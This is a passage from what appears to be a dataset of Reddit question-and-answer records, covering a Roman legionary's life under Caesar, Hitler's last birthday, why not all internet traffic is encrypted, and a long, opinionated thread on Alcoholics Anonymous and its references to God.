Caesar would be looking for an excuse to declare war and he got it in 58 BC when a Gallic tribe the Helvetii were planning a mass migration that was going to pass dangerously close to Transalpine Gaul. He had his excuse and threatened to fight them is they didnt turn back, which of course they didnt. So he fought a battle with them and won. The next year an allied tribe called the Aedui were threatened by some other tribes and so he defended them. This is basically what he did every year but the average Legionary would have no idea of the bigger strategy. The only people besides Caesar would be his officers such as his Legates(who would sometimes command single legions by themselves).\n\nThe people who were following the Legion could be any number of people. First, they had the baggage train with various supplies and essentials. They carried food and extra equipment for the legions. Next could be the Auxiliary, or the non-roman troops that fought with the legions. When Rome conquered a city or town they would demand troops to fight with the Romans. Almost all of Romes cavalry and skirmisher troops at this time came from the auxiliary and Rome supplied most of the Heavy infantry.\n\nThe likelihood of surviving is actually decently good. In ancient battles the vast majority of casualties occured after an army routed and ran. The winning side of a battle usually sustained anywhere from 1-5% casualties and the losing side usually lost anywhere from 30% to being completely destroyed. So if you had a good commander(which caesar was) and won all of your battles then your chance of surviving was pretty good. At this point, when a Roman joined the Legions they joined for a period of 20 years and if they served for all twenty years and survived they would be given a parcel of land. One of caesar's biggest issues after his civil war was to find land to settle his veterans on. Even the auxiliary fought for Rome for a period of twenty years at the end of which the soldier would get Roman citizenship and all subsequent generations of their family would have it as well", " > Am I aware that I am a pawn in Caesar's greater political scheme to rule the republic? Do I care?\n\nWhat political scheme to rule the republic? If Caesar at any time actually *planned* to seize sole control over the state it was no earlier than the civil war, and probably the thought didn't even occur to him until he had already won the civil war. Caesar was obsessed with increasing his own *dignitas*, not with ruling the state. If Caesar had intended from 58 onward to use his proconsulship to seize the state he did a terrible job of it, since he only barely managed to escape prosecution several times and ended up getting drawn into a civil war in which he was considered very much the underdog until Pharsalus. The civil war began because Caesar refused to damage his *dignitas* by lowering himself to accept what he considered to be unjust demands and by the inflexible obsession of his enemies to prosecute him, mostly for his unlawful legislation during his consulship in 59, not because Caesar had any grand scheme from day one of seizing the state. That's not actually all that unusual--magisterial and promagisterial positions were sought by members of the senatorial class to increase their own *dignitas* and *auctoritas*. Shackleton Bailey pointed out that with the possible exception of Caesar from around 46 until his death nobody before Augustus really thought realistically about the idea of actually restructuring the state. Caesar's overriding desire was to be number one, but that didn't necessarily mean actual control over the state, it just sort of turned out that way after he defeated his enemies. Whether Caesar while actually fighting the civil war had any such intention is a question for more debate, but in 58? Certainly not. In 58 Caesar was, just like every other provincial promagistrate, out to increase his *dignitas* and personal wealth. There was nothing unusual about it, except that Caesar was unusually competent at what he did and Gaul was an unusually rich province, with lots of untapped potential. But Caesar's intentions when he set off for Gaul were no different than Pompey's in Asia or even Cicero's in Cilicia"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "d0kqf9", "title": "Did Hitler have a birthday celebration on April 20th, 1945, ten days before his death?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/d0kqf9/did_hitler_have_a_birthday_celebration_on_april/", "answers": {"a_id": ["ezc61a7"], "score": [48], "text": ["So I'm not even close to being a historian, but I did just finish reading Anthony Beevor's Downfall and he speaks toward this subject.\nHitler himself didn't exactly celebrate but some of the die hard nazis around him attempted to. At this point however the german position in the war was utterly hopeless and those celebrations that did occur were macabre in the extreme. \n\nGoebbels, the skinny creepy looking guy and mega Hitler fanboy, gave a celebratory radio speech with Beevor writing \n*\"Goebbels, the only leading Nazi planning to stay in Berlin with Hitler until the bitter end, broadcast a birthday speech that morning. He called on all Germans to trust blindly in the F\u00fchrer, who would lead them out of their difficulties\"* (Downfall pg 307). \n\nThere was what might be called a nazi party (sorry bad pun) at noon that day. Beevor writes that *\"Goring, Ribbentrop, D\u00f6nitz, Himmler, Kaltenbrunner, Speer, Keitel, Jodl\"* (Downfall pg 307) gathered to wish an extremely irate and rather weathered looking F\u00fcher happy birthday. During this shindig Hitler apparently predicted the eminent defeat of the red army and bitched about Goring (the fat creepy looking guy) who had skipped the kickback and was pretending to organize resistance in Bavaria while secretly attempting to negotiate a truce with the western allies (Downfall of 308).\n\nFor the rest of the afternoon Hitler did normal 'Im surrounded by a million bloodthirsty russians' things such as awarding medals to some of the few child soldiers who had survived a suicidal attack on red army tanks and refusing to evacuate despite being begged by his staff who had just spent the daily situation conference explaining to Hitler exactly how ~~fucked~~ hopeless and surrounded their situation was in Berlin (Downfall pg 308).\nHitler went to bed early but Eva Braun and some others gathered for what I'm sure was some extremely desperate/depressed drinking with Beevor writing \n*\"it was a strange and inauspicious group for a party. One of the large round tables designed by Speer was laid with food and drink. They drank champagne and made a pretence of dancing, but there was only one record for the gramophone: \u2018Blood \u2014 red Roses Tell You of Happiness\u2019. According to Hitler\u2019s secretary, Traudl Junge, there was much hysterical laughter. \u2018It was horrible; soon I couldn\u2019t stand it and went back down to bed.\u2019 \"* (Downfall 309)\n\nOn the subject of presents one particularly dark example stands out\n*\"The next morning, the first of the so-called \u2018total missions\u2019 were flown against.. 32 bridges... Thirty-five pilots and aircraft were a high price to pay for such a limited and temporary success. This did not stop Major General Fuchs from sending their names in a special birthday message \u2019to the F\u00fchrer on his imminent fifty-sixth birthday\u2018. It was just the sort of present that he appreciated most\"* (Downfall pg 293). These total missions involved piloting planes filled with explosives into allied logistics bottlenecks. Only one bridge was actually hit.\n\nAs you can see the activities on Hitlers birthday featured a wide range from hysterical drunk Nazi bigwigs all the way to Nazi kamakazies. While not exactly my kind of party I guess they count for celebrations.\n\nMods, I've lurked for years but this is my first answer here so if something is wrong with it let me know and I'll try to fix it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ktyp9", "title": "why isn't all internet traffic secure/encrypted?", "selftext": "Why is only https, bascially, secured? Why isn't all traffic leaving your computer out to the internet encrypted? Would it reduce speed? It just seems like this is something that would have happened by now.\n\nEven cable TV is sent over the wires all scrambled up and the cable box just de-scrambles it, right? Why not have each IP device scramble and de-scramble all information it sends and receives?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/ktyp9/eli5_why_isnt_all_internet_traffic_secureencrypted/", "answers": {"a_id": ["c2n7c19", "c2n7fma", "c2n7hvq", "c2n7c19", "c2n7fma", "c2n7hvq"], "score": [13, 40, 16, 13, 40, 16], "text": ["The encryption wouldn't make much speed difference on the user's side, but the server side would have to be encrypting/decrypting for every single connected user, which all adds up. So they would need many more servers for the same number of users due to the increased load.", "Imagine you wanted to pass a series of objects between you and a friend: a baseball, a toy truck and a porcelain statue that you are not meant to be playing with. You would have no problem with your mother, nor anyone else seeing you pass the baseball and toy truck back and forth, however you wouldn't want them to see the porcelain statue. You come up with the great idea to put the porcelain statue in a brown paper bag before passing it, then your friend can take it out to play with it. That way no-one will see you pass the statue back and forth, but you can still pass it.\n\nYou wouldn't want to put the bag on everything, as that takes extra work for both you and your friend. You only do it for the item that you know is important to keep hidden.\n\nOn the internet most content you consume (youtube, reading reddit, etc...) isn't private nor could the content get you in trouble so there is no need to have the extra overhead of encryption. However, checking your email, bank information, etc... is private and it would be bad if someone else could see it. In those cases it is worth the overhead of encryption to ensure that you are the only person seeing the content.", "Number of reasons:\n\n* History and inertia. Many protocols and software on the internet don't have or support encryption. Changing this costs time and money of course.\n\n* Costs processing power. Not such a big deal for people using their desktops and laptops, but this can be a big problem for servers. Servers would require more CPU power. Also mobile devices would require more CPU power / battery.\n\n* Speed. Transporting encrypted data doesn't necessarily cost much more time, but setting up a connection between a browser, for example, and a web server costs a lot more time than a non-encrypted connection.\n\n* Breaks web caches. This is an issue for web sites and ISPs. ISPs wouldn't be able to cache encrypted web data using a proxy server. Your web browsing would go much slower again as all data would have to be fetched directly from the web site each time. (Caching inside browsers could still work though.)\n\n* Political reasons. Governments, law enforcement and intelligence agencies don't like the idea of everything being encrypted.\n", "The encryption wouldn't make much speed difference on the user's side, but the server side would have to be encrypting/decrypting for every single connected user, which all adds up. So they would need many more servers for the same number of users due to the increased load.", "Imagine you wanted to pass a series of objects between you and a friend: a baseball, a toy truck and a porcelain statue that you are not meant to be playing with. You would have no problem with your mother, nor anyone else seeing you pass the baseball and toy truck back and forth, however you wouldn't want them to see the porcelain statue. You come up with the great idea to put the porcelain statue in a brown paper bag before passing it, then your friend can take it out to play with it. That way no-one will see you pass the statue back and forth, but you can still pass it.\n\nYou wouldn't want to put the bag on everything, as that takes extra work for both you and your friend. You only do it for the item that you know is important to keep hidden.\n\nOn the internet most content you consume (youtube, reading reddit, etc...) isn't private nor could the content get you in trouble so there is no need to have the extra overhead of encryption. However, checking your email, bank information, etc... is private and it would be bad if someone else could see it. In those cases it is worth the overhead of encryption to ensure that you are the only person seeing the content.", "Number of reasons:\n\n* History and inertia. Many protocols and software on the internet don't have or support encryption. Changing this costs time and money of course.\n\n* Costs processing power. Not such a big deal for people using their desktops and laptops, but this can be a big problem for servers. Servers would require more CPU power. Also mobile devices would require more CPU power / battery.\n\n* Speed. Transporting encrypted data doesn't necessarily cost much more time, but setting up a connection between a browser, for example, and a web server costs a lot more time than a non-encrypted connection.\n\n* Breaks web caches. This is an issue for web sites and ISPs. ISPs wouldn't be able to cache encrypted web data using a proxy server. Your web browsing would go much slower again as all data would have to be fetched directly from the web site each time. (Caching inside browsers could still work though.)\n\n* Political reasons. Governments, law enforcement and intelligence agencies don't like the idea of everything being encrypted.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "3tn95x", "title": "why does alcoholics anonymous have a stipulation that you have to accept god in order to stop drinking?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3tn95x/eli5_why_does_alcoholics_anonymous_have_a/", "answers": {"a_id": ["cx7liv3", "cx7lmcr", "cx7nvtu", "cx7otd9", "cx7owq9", "cx7rhzi", "cx7rlvh", "cx7rqwi", "cx7s8al", "cx7slww", "cx7sm4y", "cx7ss60", "cx7svk4", "cx7t1f4", "cx7t21h", "cx7t3my", "cx7t6ua", "cx7taw7", "cx7tfud", "cx7tgyv", "cx7thmx", "cx7tmlg", "cx7tpeu", "cx7tsll", "cx7tuzi", "cx7u026", "cx7u05o", "cx7u1qg", "cx7u2er", "cx7u5p5", "cx7u6kh", "cx7u6yt", "cx7uape", "cx7ubd7", "cx7ukuz", "cx7ukwe", "cx7umni", "cx7up0t", "cx7v9jl", "cx7vgn6", "cx7vksd", "cx7vnoa", "cx7vokj", "cx7vqc4", "cx7vxui", "cx7vy3i", "cx7w3wi", "cx7w45x", "cx7w66t", "cx7w8kx", "cx7wbxx", "cx7wnk9", "cx7wpyy", "cx7wv7g", "cx7x5tn", "cx7x7s0", "cx7xdbr", "cx7xdhe", "cx7xf7p", "cx7xhr1", "cx7xi1r", "cx7ximj", "cx7xjtk", "cx7xmk6", "cx7xnnm", "cx7xquu", "cx7xqyr", "cx7xqzo", "cx7xtzt", "cx7xwka", "cx7y1ii", "cx7y1xd", "cx7y2n9", "cx7y56l", "cx7y5uj", "cx7y8gn", "cx7y9wg", "cx89gog", "cx89py9"], "score": [6, 40, 8, 15, 62, 2824, 5, 1176, 2, 76, 107, 21, 20, 2, 9, 12, 217, 3, 5, 2, 2, 2, 2, 2, 38, 2, 4, 3, 4, 4, 5, 3, 3, 2, 7, 10, 3, 2, 2, 2, 2, 2, 2, 3, 2, 2, 4, 2, 5, 13, 4, 2, 2, 5, 2, 2, 2, 7, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2], "text": ["Because they were founded by Christians. Do note, however, that you must simply believe in some \"higher power\" to follow their twelve steps. Makes them utterly worthless to atheists, of course.\n\nThe data doesn't support any of their claims anyway. Their success rate is no better than a placebo, and much worse than pharmaceuticals we have now for beating alcoholism.", "Using the concept of a higher power is useful in displacing a lot of your negative emotions. Basically it instills a sense of purpose and allows you to use the concept as a kind of crutch to support you and your change in lifestyle. It doesn't have to be the Christian god per se, but it can't really be something material or tangible because that kind of object/person may let you down, which can cause problems with maintaining your more positive attitude. It's basically a way of coping with the addiction.", "It doesn't! The only requirement for AA is a desire to stop drinking. And we only suggest you believe in a power greater than yourself to your understanding. Everything you read in the big book or hear in meetings, even the steps are merely a recommendation. \n\n\nThe base of AA is here's what I did, it worked, you can try it to if you want. ", "\"We came to believe that a higher power could restore us to sanity.\"\n\n\"God as we understood him\"\n\n\"Does not discriminate by age, race, sexual identity, creed, religion, or lack of religion.\"\n\nThe purpose of AA and NA is to provide a template of cathartic goals and milieu cognitive behavioral therapy. You will be accepted with open arms as an addict in recovery. That's the focus: recovery. The focus is not: meeting a criteria of character.", "I just wanted to add that the book Infinite Jest is a huge novel that tries to answer this very question. It draws parallels between the devotion of AA members to God and kids aiming to be professional tennis players.   Reprogramming of the mind for alcoholics and a programming of the mind for professional athletes.  These methods heavily rely on slogans and frankly believing what you know is bullshit, because it turns out to work.  It's how people achieve a lot of things. Definitely not eli5 nor for everyone.", "For everyone saying that AA \"does not\" have a stipulation that you have to accept God in order to stop drinking, I present Step 3 : \"Made a decision to turn our will and our lives over to the care of God as we understood God.\" In fact, 1/3 of the 12 steps mention God. What is the point of burying this fact?", "I'm pretty sure its to get them to focus on something other than alcohol. What does almost every religious faith have in common? They focus largely on improving yourself, instilling morals in how you live your life, and being mindful of the lives others have (also, I know the reddit circlejerk about religion and bigotry is probably on the way as we speak, that's a different conversation for a different time).", "Simple answer: It was founded by devote Christians who thought religion was the key to overcoming alcoholism.   \n  \nConsidering that doesn't sit well with the large number of non religious people seeking help, they've tried to retroactively change it into a \"Higher Power\".  It's like if I said no dogs allowed in the apartment, and you said \"This isn't a dog, it's a mini wolf\".   \n   ", "It's a higher power which happens to usually be God. It could also be the law, nature, or yourself, or anything else.", "Why is everyone making excuses in this thread? An organization is allowed to be religious. Why hide it? That's your answer. They have that stipulation because they're a Christian based organization. I'm sure some chapters allow the \"Higher Power\" instead, but that doesn't mean it's not the same thing. AA is effective, I'm sure, but they're not the result of science, so they can have whatever stipulations they feel works without necessarily having evidence.", "Because it's a religious organization. Also, it doesn't work any better than just quitting on your own. No need to convert to having a higher power, just find another way to do it.\n\n\n_URL_0_", "AA is a Christian indoctrination program, founded by a former alcoholic turned evangelical. What better time to brainwash someone than when they are at their lowest ebb and need help?", "Basic AA History Lesson is in order here:  \n\nAA was originally started as a 'spin-off' of the Oxford Group (_URL_0_).  An organization that practiced 3rd Century Christianity.  Bill W. (and the first 100 members of AA) built the AA Big Book and steps around these basic principles.  They ran into a very big problem when new potential members (drunks) heard the word God... A lot of people rebelled against it.  Bill W. mentioned to Dr. Silkworth that this was becoming a problem.  Silkwork recommended that Bill use the phrase 'God as you understood him' - really anything....  \n\nThis opened the door for a lot of people who never would have sobered up because of their views of religion.  Very powerful program - been sober for 15 years, started as a christian, but have been a practicing buddhist for the last 8 years.\n\nAs you're in the program longer the word God actually takes on a new meaning - you get to have this experience where some power helps change your life around... A Lot.  It's kind of cool.  You get to have an experience of god, instead of a bible lesson.  Some people say the 'Spiritual Awakening' in AA is simply the difference between the way you we're and the way you have become after working the steps/program.", "Here in Denmark AA and ACA meetings have replaced the word God with \"higher power\" and the explanation is that it you are required to accept that something is beyond your control. Some people call it God, other love but the main point is that it is something beyond your control. Could definitely still be viewed as something religious especially as most meetings are held in churches and people shit down on life will grab any straw handed to them. ", "They tell you that your God can be a rock, which is insulting. I don't need to pretend a rock is God. Watch the Penn and Teller Bullshit episode on AA if you get a chance.", "For my Psychology of Nursing class I attended two AA meetings, and at both they used Christian prayers to begin and end the meeting.  I also looked at their book, and it clearly states that atheists/agnostics are 'arrogant' because they don't believe in god after looking up at the stars.  ", "In order to get sober from alcohol; you must first become addicted to cigarettes and coffee. ", " >  Made a decision to turn our will and our lives over to the care of God *as we understood God*\n\nThe *as we understand God* seems to be what many people ignored.\n\nYou can go to an AA meeting, and turn your life over to God without being religious at all.  You simply understand God as Russell's Teapot.  Or a burrito you really enjoyed one time.\n\nStop getting your dicks in a twist over three consonants and a vowel.  Step 3 is the recognition that one requires some external assistance that is greater than one's self.  That's it.\n\nJesus, Spagetti Monster, Russell's Teapot, a blue whale you saw on youtube, whatever you consider to be greater than yourself.", "When I was in rehab they told me my higher power could be anything except a door knob... because it will turn on you.. such a witty bunch.", "I know at least some groups say find your higher power, and not necessarily God. My friend chose gravity lol. She said it was because they had to take it out of their own hands, in a way, because clearly they haven't shown they have the pure willpower to stop. So look towards something higher and greater than yourself.", "I know that some folks use AA as their higher power. It does not have to be God in any particular religious sense even though the group was formed under this concept. They do push \"higher power\" as a very important part of the process, whatever that means to you.", "Reads Title \"Huh, that's an interesting question.\" Scrolls down, sees nothing but massive flame war. \"Well I guess we'll never know the answer.\" :/", "The big book mentions \"god\" because AA was started in the 30s and thats just what they believed in at the time. Being a recovering alcoholic/addict, the focus is more on a \"higher power\" more so than God him/herself. Your higher power can be a door knob for all sponsors care. As long as you're  actively following the steps they dont give a fuck who you worship.\n\nEdit:spelling", "This isn't the best answer, but read Infinite Jest.\n\nI think that book really gets to why and really helps you understand addiction.", "I always found it pretty terrible that Bill W (the founder and figurehead) while on his death bed demanded a drink of booze and was denied by a bunch of cruel assholes.\n\n\nGive the fucking man a drink.", "magic is fun to belive in when we are kids and feeling vulnerable, weak, like a child, and loved even if your own family doesn't is a comforting thought", "ive been in and out of the rooms for 5 years. Being an atheist, I have a theory on why.\n\nI think its a psychological method into tricking yourself to hope.\n\nWhen you convince yourself that God will take care of you, you become lighter and a burden is lifted from you. Many people in AA tell a story about exactly this; that the burden was instantly lifted once they surrendered to god. \n\nWhen I tried to convince myself to find a power greater than me, I chose nature and the cosmos. Just choosing something and putting your faith in it, makes you feel better. You take the heavy anxiety and all of the bad feelings you have, and place them on a thing (god, cosmos, buddha, comcast, etc).\n\nAnd once you feel better you attract better things and then, when you feel light and good, you go and apologize for all the things youve done. Which is a major release when its over. \n\nSometimes, I think its a self perpetuating cult. But other times, you get some gems from the members, whether your an alcoholic or not.", "The idea behind it is that if one must give up their addiction by aknowledging it.  By letting God take the burden of alcoholism off of the drinker, it makes the addiction seem less daunting. Or at least thats my understanding of it", "It's not a stipulation that you have to accept the Judeo-Christian God. It IS a stipulation that you have to accept a higher power.\n\nThe rest of this is my opinion and what I've reasoned from my experience with the program and my recreational background in psychology.\n\nI came there because I'm screwed up. I'm not wired normally at all. If you can give me something to get out of myself, left to my own devices, I'd probably have done that thing until it killed me. My childhood wasn't the best. I never learned to deal with emotional trauma. It took 3 months of inpatient treatment to get me off the drug, and 6 months of outpatient to realize that the way I rationalized things was unhealthy. Changing a worldview when one resists the change is a task.\n\nI wasn't mandated to go to AA. It wasn't a condition of my probation. I went there because I felt like I belonged somewhere. My Big Book is filled with annotations referencing literature and theology. I've left, but I believe to this day that it is a very good place. Maybe just to start, but it's a very good place. Probably depends on the individual collection of people.\n\nI think the core principle of it is to find something in yourself that means more than drinking. Or even outside of yourself. When I sat down and studied the methodology and the effects, I decided that it must be tied to asceticism. With a higher power, monks could spend days or weeks forgoing their basic needs. If you're an alcoholic, alcohol is a basic need.\n\nDon't get hung up so much on the God thing. It's not really about God or your experiences with God. It's about accepting who you are for who you are and working from there. And learning to listen to people you disagree with and seeing where they get it right sometimes. That way you're not so pissed off and alone.\n\nYou can work from there.", "Really, it's just about replacing one dysfunctional behaviour with a different, more acceptable, behaviour. It's like behaviour change 101.", "Recovering alcoholic here. I've completed the 12 steps and I'm currently working them again. It says \"God as we understand Him.\" This means you can choose anything you want as a higher power. As long as you're willing to believe it can restore you to sanity, it works. A lot of people take \"God\" to mean Good Orderly Direction. You can choose a doorknob as your higher power of you want. And, you don't have to tell anyone that's your understanding of a higher power. If it works for you, it works. ", "OK everyone, I'm ready to get downvoted, but this is what I got from psychology lecture in my upper division classes:\n\n\nThere are four different theories or approaches to coping strategies and paradigms of healing.\n\n\n**1. The problem is your fault and it's your responsibility to fix it** Aka, \"*fuck therapy, I am a strong independent _______*\". This approach basically dictates that whatever issue is happening in your life is essentially a result of your own actions, and YOU solely are the person in charge of making the changes in your life that you need to make in order to better things for yourself, to solve the issue, to mature, or whatever is applicable to the situation. One man army type mentality. It's very empowering to the individual but it also can in some cases mis-appropriate the causation of issues or oversimplify to a fault.\n\n\n**2. The problem is not your fault, but it's your responsibility to fix it**\nThis one is closest to traditional psychoanalytic / CBT (cognitive behavioral therapy) approach in psychology (yes there are multiple schools, please just stfu), involving someone listening to your problems and providing you guidance on how to address the issues yourself. This one says basically bad shit happens to good people, there's nothing you can do about it, but you are responsible for getting past it, learning to cope with the bad and still stay positive, etc. It is good for some people because it takes away blame from the individual for bad things happening, but it also might ignore the fact that some of the underlying problems are centric to the individual, their personality etc which may legitimately need to be addressed. It takes a realistic approach in some respects compared to #1 because it understands that we don't live in a bubble and that the independent actions of others also bear an effect on our lives.\n\n\n**#3. The problem is your fault, but it's not your responsibility to fix it**\nOk, this one is literally the Catholic church mentality. You are born a sinner. You make sinful decisions. You think dirty thoughts. You do bad shit. You should feel bad for sinning!!! roar!!! --However, it also indicates that it's not your responsibility to fix those bad things about you, it's Jesus' responsibility to save your soul from damnation and fire and brimstone and the like (yes I know thats a protestant thing; stfu). \n\n\n**#4. The problem is not your fault, and it's not your responsibility to fix it**\nOk, so this one, finally, is the coping strategy for Alcoholics Anonymous / any anonymous support group. Basically it says, it's not your fault you're addicted to alcohol, you have a disease. You can't do anything about the fact that you have a disease and you're powerless to change that. But it's okay, because going through this program, submitting yourself to a higher power, and going to these classes with this group of people will help you to become better. You can't do it on your own, you have to reach out to other people to help you with your disease since it's not something you can fight on your own.\n\n\nTake from that what you will. There is no 'best answer' and one is not better than the other, they're simply different ways people deal with things.\n\nedit: format", "Basically, it's to attribute the bad behavior of being addicted to a higher power...not your own.  You were destined to act a certain way given your God-given proclivities.   Stop blaming yourself.  Addiction is a disease, not a flaw in character.", "God or not, how about talking about publishing success rates? ", "'To be spiritually reborn, the Oxford Group advocated four practices set out below:[11]:9\n\"The sharing of our sins and temptations with another Christian.\nSurrender our life past, present and future, into God's keeping and direction.\nRestitution to all whom we have wronged directly or indirectly.\nListening for God's guidance, and carrying it out.\" '\n\nSound familiar? AA grew directly from the Oxford Group of Christians whose underlying belief was of human hopelessness, and the need to surrender to God's plan.\n\nThe early AA writings are straight lifts from Oxford Group teachings. All the bull about whether 'God' can be a hairbrush or a doorknob misses the key point, that AA requires people to admit that they are helpless. Bollocks to that! Take responsibility for your decisions. Try dealing with the fact that you are addicted, not diseased or cursed or unworthy.\n", "Alcoholics Anonymous' philosophy largely revolves around getting people with addictive personalities to redirect from one addiction for another, ie trading drinking for religion. Whether or not that is good thing can vary based on one's own perspective; \n\nPersonally I would think redirection to be a decent short-term solution if the specific vice is especially harmful, (thus switching it for something less harmful or more manageable) but ultimately long term treatment should be focused on resolving the addictive personality as a whole. Such treatment can mean focus on therapy and fixing their personal life in general (ala the *'rat park'* experiment; individuals tend to be least drawn to addictive behavior when their overall environment feels positive and rewarding). Youtuber [*In a Nutshell*](_URL_0_) does a very interesting video on the subject.", "Because AA is an outdated and useless practice that only has a 5% success rate. Which is the same as those who try to quit on their own", "Technically there have been plenty of lower level courts stating that indeed AA is a religious organization and that mandatory/voluntary attendence as mentioned by a judge is  endorsing said religion and is agaisnt the 1st amendment.\n\nI don't remember there being anything higher than local courts declaring it or at least nothing concrete on a federal level to set a presedent.\n\nThat said quit rate with AA is 5%...quit rate without it is...5%. Yeah, about as useful as a watergun vs a shark.", "It's obviously open to interpretation but it seems to put logic into the fact you've lost control over your life and alcohol but that control can still be attained. Wether that be god, karma or \"group of drunks\" (the AA group) there is something out there that can help bring your life back to order because you weren't able to do it on your own.", "Because they're a cult that wants to get you while you're down. Religious brainwashing while you're vulnerable.", "wow, the hate and the misunderstanding is strong in this thread. it's simple really: people who are looking to AA for help have lost control. people who are still 'in control' of their lives (whatever you take that to mean) have no need to hand over that control to anything other than themselves. but those who no longer have that control over their behaviour (even if they just feel that way ) need to hand over the reigns and the only way most of the rest of the world can identify with that resignation is by referring to it as god.   \n\nthe 'mental gymnastics' in this thread shouldn't be gymnastics. they talk about a higher power, but people who still (feel like they) sit in the pilot's seat of their own lives have no need for a higher power.  \n\nit really shouldn't be about god, and from what i can tell it isn't about god. it's about control.", "Because trading one addiction for a nice bowl of brainwashing makes it go down easier?", "There are a lot of misconceptions here. I wonder how many people have studied the program (not necessarily through the program).", "Where I went to meetings they never specifically mentioned god. They always used the phrase 'a higher power'. This higher power could be anything you felt filled that position and helped you accomplish your goals.", "i found that when i told aa members i got off the drink myself they didnt believe me because i didnt attend aa meetings? like it was the only way i could stop drinking for good.!", "some members claim the meetings themselves as their higher power\n\nit can be anything they it want to be", "There's lots of ways to build a castle out of your Legos. \n\nThis group of people tells you that the best way to build it is to follow their instructions because they think it's the best way. They tell you where to put each block and sometimes that's good because some people don't know how to build their own castle. \n\nThey build castles their way because that's the only way they know how to build castles - they've never tried building them any other way so they don't know if those castles will be as good. They know that their way of building castles can work so they decided to help other boys and girls build their own castles.\n\nBut what really matters is that the castle is built. If you want to build your castle differently, that's fine. If you think that the towers should be a little taller or that you don't need a drawbridge, that's fine too. Just build a castle and keep on building them every day.", "if it helps it helps, when addiction is ruining your life any religious affiliation you have is the least of your problems", "It was started by religious guy, but it is very bastardized version of how he originally imagined it. He wanted to incorporate vitamins and minerals and basic diet tips into helping overcome addiction, which would probably increase the success rate. ", "I got sober in 1998 with the help of the beautiful and fucked up people of Alcoholics Anonymous.  I have always believed in some kind of God, so that component wasn't hard for me.  I haven't been able to read every comment, so I'll do what I do when I walk into a meeting late - I'll share my thoughts and hope I'm not duplicating somebody else, but if I am, so what...alcoholics need repetition.\n\nYes, God matters in the program.  I wouldn't call it a \"stipulation\" that you have to accept God in order to stop drinking.  The only requirement for membership in AA is a sincere desire to stop drinking.  I would call it more of a piece of the puzzle that MOST drunks have to put together in order to stay sober.  It's not really religious (although the meetings definitely have a ceremonial component)...more spiritual.\n\nAt its core, AA is just group therapy.  I spent a lot of time in meetings early in my sobriety, and I've directed a lot of people to the program.  Most people who don't want to go cite the \"religious\" aspect of AA as the main reason for not wanting to go; when I try to explain it, I usually do more harm than good, so over the years, I've boiled it down to a simple concept that goes something like this.\n\n\"Yeah, you're going to hear the word God.  You're also going to hear stories that you would never hear in church, and I have heard some of the funniest shit ever in AA meetings.  I tried for years to get sober on my own.  I've now got ____ years of sobriety with AA.  Open your mind a bit and it can get easier.\"\n\nSad truth is, people who totally shut their minds off to the possibility of something larger than mankind tend to (in my experience) have a lower success rate.  I put my father in that category.  He died drunk (suicide) after trying the program, scoffing at it, relapsing, trying again.  Fucking sad.\n\nTo answer the immediate question, I think the core answer is that alcoholics don't seem to be able to get sober through will power.  We drink because we are alcoholic, not the other way around.  There was a very pronounced compulsion for me to drink, and it was immediate, and then it eventually became a physical dependency.  When you have your mind and your body screaming at you 24/7 to consume alcohol, odds are you are going to drink without help.  That help does not come from the inside or even from our fellow man; it comes from having a spiritual awakening that we CAN get better and that life CAN be worth living.\n\nFinally, I sort of hate it when people start spouting off percentages in terms of the success rates of any program.  I've been sober for 17 years - if I go out and drink tomorrow, does that mean that AA failed?  I think any time that an alcoholic is sitting in a meeting instead of drinking is a success.  \n\nBut to each his own - I'm not an AA zealot.  I direct people there because it helped me.  I do know people who have achieved longterm sobriety without AA, for sure.  I know more people who have stayed sober with AA than without it, so that's where I send people.\n\nTo anybody reading this who might be on the fence, just know that nobody will attack you at a meeting or start forcing religion down your throat.  Yes, there are crazy people in AA, but generally speaking, they are a welcoming group with diverse life experiences that all seem to melt into one unified goal of staying sober.  And the best way of staying sober is to try to help other alcoholics (what somebody in this thread referred to as \"selling the religion,\" lol).  For no money and for no benefit other than helping keep the seller sober.  It's harder to fuck up your own life when you're trying to save somebody else's.\n\nKEEP COMING BACK", "Your question immediately started a predictable and wasteful argument. But so far as I can see, no one has actually answered your question. \n\nAA comes from the \"Big Book\" of Alcoholics Anonymous. The book was written by someone who considered himself a hopeless alcoholic but was able to recover and stay sober. Following the ideas outlined in the book, millions have achieved sobriety. It  is without question the most effective way to get sober and stay sober. In fact the ideas in the book have been so successful that numerous other groups have spawned: NA, DA, GA, SA...Narcotics Anonymous, Debtors Anonymous, Gamblers Anonymous etc. All have shown astonishing recovery results.\n\nIt is one of the most frequent charge leveled at AA that you have to believe in God to join or stay in AA. The traditions of AA specifically state that the ONLY requirement to join is a desire to stop drinking. Period. \n\nHere's where the confusion starts. All of these 12-step programs say that the disease of alcoholism (or whatever) is incurable without a spiritual solution. How you define spiritual is where people get into trouble. The idea is to create a \"conception\" of a higher power. Some choose to call it God. The steps of AA use this term. But the Big Book specifically states that this can be Spirit of the Universe or other such conceptions. \n\nThe idea is the alcoholism is a fatal and hopeless disease. An alcoholic never recovers on their on will. It requires a deep surrender to your own conception of a higher power.\n\nWhat happens is that since most people are walking into AA from a Christian background, they revert to the Bible or their idea of God as defined in Christianity. But there are many atheists and non-Christians in AA, who successfully work the program and stay sober. Many will choose nature as their higher power. Some even choose their pets, because they feel that their pet is an supreme expression of pure love.\n\nIt is extremely unusual to walk into an AA meeting and find people reading the Bible. But there are millions of AA groups all over the world. And they are autonomous. If you go into the Bible Belt, AA meeting are full of Biblical references. If you go to AA meetings in New York City, you will have a completely different experience.\n\nAA requires you to have an open mind. Without which no change and recovery is possible. ", "How is it that the Court can order you to do AA if there is such a strong religious component?", "There's a Agnostic Alcoholic's Anonymous too. I know this because I felt the same way when I was forced to attend AA. Plus, I disagree with people saying that Alcoholism is a disease. I believe that it's just another habit we form just like smoking and other things we find our selves doing all the time. We tend to eat the same things and get our hair cut the same way because that's what are brain tells us to do.", "Good stuff:  _URL_0_\n\nThis guy was sent to jail because he was an atheist and refused 